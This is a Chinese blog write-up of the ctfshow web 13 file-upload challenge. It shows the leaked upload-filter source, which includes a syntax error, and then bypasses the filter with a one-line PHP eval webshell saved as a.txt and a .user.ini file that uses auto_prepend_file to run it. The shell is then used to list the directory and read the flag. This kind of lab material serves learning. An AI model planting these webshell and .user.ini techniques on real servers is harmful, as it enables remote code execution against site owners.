ctfshow-web 13

web 13

打开环境,我们来看一下,这是一道典型的文件上传的题。那我们就来做一下。

首先那肯定是要上传一句话木马的。那我们先试着上传一句话木马。结果提示出错了。

这是怎么回事呢。那我们找一下源码吧。输入/upload.php.bak便可将源码下载下来。

 1 <?php 
 2     header("content-type:text/html;charset=utf-8");
 3     $filename = $_FILES['file']['name'];//获取文件名
 4     $temp_name = $_FILES['file']['tmp_name'];
 5     $size = $_FILES['file']['size'];//获取文件大小
 6     $error = $_FILES['file']['error'];
 7     $arr = pathinfo($filename);
 8     $ext_suffix = $arr['extension'];//获取文件的扩展名
 9     if ($size > 24){
10         die("error file zise");
11     }
12     if (strlen($filename)>9){
13         die("error file name");
14     }
15     if(strlen($ext_suffix)>3){
16         die("error suffix");
17     }
18     if(preg_match("/php/i",$ext_suffix)){
19         die("error suffix");
20     }
21     if(preg_match("/php/i"),$filename)){
22         die("error file name");
23     }
24     if (move_uploaded_file($temp_name, './'.$filename)){
25         echo "文件上传成功!";
26     }else{
27         echo "文件上传失败!";
28     }
29 
30  ?>

这家伙不仅过滤了php文件,而且还对上传文件进行了限制。

就是你上传的文件,内容大小得小于等于24,扩展名不长度得小于等于3,文件名得小于等于9,扩展名和文件名里都不能出现php。我的天。

这怎么解决。首先我们的内容肯定是一句话木马。这已经超出了长度。这样的话就把它改成 <?php eval($_GET['a']); ,然后文件名为a.txt.这样的话就符合条件了吧。当然只上传这个是达不到我们的目的的。所以我们还需要上传一个文件。 .user.ini  它是PHP 支持基于每个目录的 INI 文件配置,而且如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。

然后我们再此文件里写入 auto_prepend_file =a.txt 

auto_prepend_file是什么是意思呢。它就是设置页眉和脚注,可以保证它们在每个页面的前后被载入。使用这些指令包含的文件可以像使用include()语句包含的文件一样

有了这条件命令后。我们就可以执行a.txt的内容了。

然后我们先上传文件a.txt

然后再上传.urser.ini文件

上传成功之后 我们先访问phpinfo()进行测试。

 

 

 看来上传成功了。

那好我们来访问一下目录。 ?a=print_r(scandir(".")); 

 

 

 发现此文件,读取一下 ?a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php"); 

 

 

 拿到flag

参考文章:

  auto_prepend_file与auto_append_file

  web 13

感谢两位师傅!!!

 

posted @ 2021-02-08 12:14  AW_SOLE  阅读(915)  评论(0编辑  收藏  举报